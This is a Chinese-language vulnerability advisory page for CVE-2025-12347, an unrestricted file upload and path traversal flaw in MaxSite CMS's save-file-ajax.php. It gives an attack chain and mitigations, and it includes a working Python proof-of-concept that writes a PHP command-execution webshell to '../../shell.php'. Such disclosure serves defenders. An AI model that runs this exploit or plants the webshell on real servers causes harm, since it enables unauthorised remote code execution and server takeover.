IPBUF安全漏洞报告
English
CVE-2025-12347 CVSS 6.3 中危

CVE-2025-12347 MaxSite CMS save-file-ajax.php无限制文件上传漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-12347
漏洞类型
无限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MaxSite CMS

相关标签

无限制文件上传MaxSite CMS远程代码执行路径遍历CVE-2025-12347Web安全PHPCMS漏洞

漏洞概述

CVE-2025-12347是MaxSite CMS中的一个严重安全漏洞,存在于文件编辑器插件的保存功能中。该漏洞位于application/maxsite/admin/plugins/editor_files/save-file-ajax.php文件,由于对用户提供的file_path和content参数缺乏充分的验证和过滤,攻击者可以构造恶意请求实现任意文件上传。攻击者无需高权限即可利用此漏洞(低权限账户即可),且可远程发起攻击,无需用户交互。一旦攻击成功,攻击者可上传webshell等恶意文件,从而获得服务器的远程代码执行权限,进而控制整个Web应用系统。该漏洞影响MaxSite CMS 109及以下所有版本,CVSS评分6.3(中危),已被公开披露且存在可利用的漏洞利用代码。

技术细节

该漏洞源于MaxSite CMS的文件编辑器插件在处理文件保存请求时存在以下安全问题:1) save-file-ajax.php文件直接接收用户输入的file_path参数,未进行路径遍历检查和安全过滤,允许攻击者指定任意文件路径;2) content参数允许攻击者注入任意内容,包括恶意PHP代码;3) 缺少文件类型验证和内容安全检查,未限制可上传的文件扩展名和内容格式;4) 上传目录缺少适当的访问控制和执行权限限制。攻击者可通过构造包含webshell的POST请求,上传.php文件到Web根目录,从而实现远程代码执行。由于该接口通常仅需低权限账户即可访问,大大降低了攻击门槛。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用MaxSite CMS,并定位到存在漏洞的文件编辑器插件接口
STEP 2
步骤2
攻击者准备包含恶意PHP代码的webshell payload,用于后续远程代码执行
STEP 3
步骤3
攻击者使用低权限账户向save-file-ajax.php发送POST请求,通过file_path参数指定上传路径(可能包含路径遍历../../),content参数包含webshell代码
STEP 4
步骤4
服务器端未进行充分验证,直接将攻击者指定的文件内容写入指定路径
STEP 5
步骤5
攻击者访问上传的webshell文件,通过cmd参数执行任意系统命令,获得服务器控制权
STEP 6
步骤6
攻击者可进一步进行横向移动,安装后门,窃取数据或建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12347 MaxSite CMS Unrestricted File Upload PoC # Target: MaxSite CMS <= 109 # Endpoint: /application/maxsite/admin/plugins/editor_files/save-file-ajax.php def exploit(target_url, file_path, webshell_content): """ Exploit for CVE-2025-12347 Uploads arbitrary files via save-file-ajax.php Args: target_url: Base URL of the vulnerable MaxSite CMS installation file_path: Path where the file should be saved (e.g., '../../webshell.php') webshell_content: Content to write to the file """ endpoint = f"{target_url}/application/maxsite/admin/plugins/editor_files/save-file-ajax.php" # Prepare malicious payload files = { 'file_path': (None, file_path), 'content': (None, webshell_content) } try: response = requests.post(endpoint, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200 and 'success' in response.text.lower(): print("[+] File uploaded successfully!") return True else: print("[-] Upload failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/mycms") sys.exit(1) target = sys.argv[1].rstrip('/') # PHP webshell webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' # Path traversal to write to web root file_path = '../../shell.php' print("[*] CVE-2025-12347 MaxSite CMS File Upload Exploit") print(f"[*] Target: {target}") exploit(target, file_path, webshell)

影响范围

MaxSite CMS <= 109

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制文件编辑器插件的访问权限,仅允许管理员访问;2) 在Web服务器层面配置规则,阻止对save-file-ajax.php的未授权访问;3) 对上传目录设置严格的文件权限,禁用PHP文件执行;4) 启用Web应用防火墙(WAF)规则,检测和阻止恶意文件上传请求;5) 监控日志关注异常的POST请求和文件创建行为;6) 考虑暂时禁用文件编辑器插件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表